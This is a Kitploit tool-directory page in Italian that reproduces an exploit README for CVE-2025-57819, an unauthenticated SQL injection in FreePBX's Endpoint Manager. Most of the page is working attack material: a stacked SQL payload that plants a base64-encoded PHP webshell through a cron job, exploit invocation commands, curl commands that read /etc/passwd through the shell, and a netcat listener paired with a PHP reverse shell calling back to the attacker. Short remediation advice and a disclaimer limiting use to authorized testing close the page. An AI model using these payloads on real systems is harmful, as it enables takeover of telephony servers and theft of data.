Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
freepbx-endpoint-sqli-rce — SQL injection non autenticata in FreePBX Endpoint Manager (CVE-2025-57819) che inietta una webshell PHP programmata via cron per esecuzione remota di codice. | Kitploit
Strumenti/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

SQL injection non autenticata in FreePBX Endpoint Manager (CVE-2025-57819) che inietta una webshell PHP programmata via cron per esecuzione remota di codice.

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-57819 — Iniezione SQL nel modulo Endpoint di FreePBX → Esecuzione di codice remoto

Sommario

FreePBX è la GUI web open-source per Asterisk PBX, ampiamente implementata in ambienti telefonici aziendali. Il modulo Endpoint Manager espone un gestore AJAX in /admin/ajax.php che accetta un parametro brand e lo interpola direttamente in una query SQL senza sanificazione. Un attaccante remoto non autenticato può iniettare SQL arbitrario, inserire una riga nella tabella cron_jobs e far scrivere al demone cron di FreePBX una webshell PHP eseguibile nella root web — ottenendo l'esecuzione di codice remoto non autenticata in circa un minuto.


Dettagli della vulnerabilità

CampoValore
ID CVECVE-2025-57819
Punteggio CVSS9.8 (Critico)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL
ComponenteModulo Endpoint Manager di FreePBX
AffettoFreePBX 17.x (non corretto)
CorrettoFreePBX 17.x (corretto)
Vettore d'attaccoRete — Nessuna autenticazione richiesta

Analisi tecnica

La richiesta vulnerabile ha come target il gestore comandi AJAX del modulo Endpoint:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>

Il parametro brand viene concatenato in una query SQL senza escape o prepared statements. Un attaccante chiude la stringa della query e aggiunge una seconda istruzione:

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

La voce cron iniettata viene eseguita ogni minuto con i permessi del processo web-server/Asterisk e scrive:

root@kitploit:~
<?php system($_GET[cmd]); ?>

in /var/www/html/webshell.php, fornendo esecuzione di comandi OS non autenticata tramite HTTP.

Causa principale

Il gestore AJAX del modulo Endpoint costruisce SQL dinamicamente utilizzando la formattazione di stringhe anziché query parametrizzate. Il campo brand non viene mai convalidato o escapato prima di essere incorporato in un'istruzione SELECT, rendendolo trivialmente iniettabile.

Catena d'attacco

root@kitploit:~
Attaccante  ──GET (iniezione SQL)──▶  /admin/ajax.php  ──INSERT──▶  tabella cron_jobs
                                                                          │
                                              Demone cron FreePBX (≤60s) │
                                                                          ▼
Attaccante  ──GET ?cmd=id──────────▶  /webshell.php  ◀── scritta ──  cron exec

Utilizzo dell'exploit

Requisiti

root@kitploit:~
pip install requests urllib3

Argomenti

root@kitploit:~
  -t, --target    Indirizzo IP o nome host del target  (obbligatorio)
      --timeout   Secondi di attesa per la disponibilità del target (default: 30)
      --delay     Secondi di attesa per l'esecuzione del job cron (default: 65)

Passo dopo passo

1. Esegui l'exploit contro il target:

root@kitploit:~
# Base — attendi 65 s per l'attivazione del job cron
python3 exploit.py -t <IP>

# Usa un nome host
python3 exploit.py -t connected.htb

# Attesa cron estesa su target lenti
python3 exploit.py -t <IP> --delay 90

2. Se la webshell è confermata, interagisci direttamente:

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. Passa a una reverse shell tramite la webshell:

Avvia un listener sulla tua macchina:

root@kitploit:~
nc -lvnp <PORTA_LOCALE>

Poi attiva una reverse shell PHP attraverso il parametro cmd (codificato in URL):

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<IP_LOCALE>%22%2C<PORTA_LOCALE>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

Il payload decodificato inviato come cmd è:

root@kitploit:~
php -r '$sock=fsockopen("<IP_LOCALE>",<PORTA_LOCALE>);system("/bin/bash <&3 >&3 2>&3");'

Output previsto

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  FreePBX Endpoint Module  ·  Iniezione SQL → Webshell Cron       ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2025-57819
  Componente  :  Modulo Endpoint FreePBX
  Affetto     :  17.x non corretto   →  Corretto: 17.x corretto
  CVSS        :  9.8 (Critico)
  Vettore CVSS:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — Iniezione SQL
  Tipo        :  Iniezione SQL non autenticata → Webshell PHP pianificata via cron
  Riferimento :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Sondaggio target <IP>  (max 30s) ...
  14:03:12 [+] Target vivo — HTTP 200

  14:03:12 [*] Iniezione endpoint : http://<IP>/admin/ajax.php
  14:03:12 [!] Iniezione job cron tramite iniezione SQL ...

  14:03:12 [+] Richiesta di iniezione inviata
  14:03:12 [*] Attesa di 65 s per l'esecuzione del job cron ...
  14:04:17 [*] Sondaggio webshell su http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Webshell attiva — output comando:

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] URL webshell: http://<IP>/webshell.php?cmd=<comando>

  14:04:17 [+] Procedura exploit completata.

Nota sui tempi. Il --delay predefinito di 65 secondi garantisce che il demone cron (che si attiva all'inizio di ogni minuto) abbia avuto almeno un'opportunità di eseguire il job iniettato. Su target lenti, aumentare a --delay 90 o --delay 120.


Rimedi

PrioritàAzione
CriticoApplicare immediatamente la patch del fornitore FreePBX per CVE-2025-57819
CriticoRimuovere eventuali artefatti esistenti di /var/www/html/webshell.php
AltoLimitare l'accesso a /admin/ajax.php a fonti di rete autenticate e fidate
AltoControllare e sanificare tutte le query SQL nel modulo Endpoint Manager — utilizzare prepared statements
MedioLimitare la tabella cron_jobs: limitare quali ruoli possono eseguire INSERT
MedioApplicare una regola WAF che blocchi i pattern di query impilate sull'endpoint AJAX
BassoEseguire il processo FreePBX/Asterisk con un account di privilegio minimo senza accesso in scrittura alla root web

Riferimenti

  • NVD — CVE-2025-57819
  • CWE-89: Iniezione SQL
  • OWASP: Iniezione SQL
  • OWASP Top 10: A03 Iniezione
  • Progetto FreePBX
  • watchTowr Labs Reference PoC

Disclaimer

Questo exploit è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta. L'uso non autorizzato è illegale e non etico.

Scarica lo strumento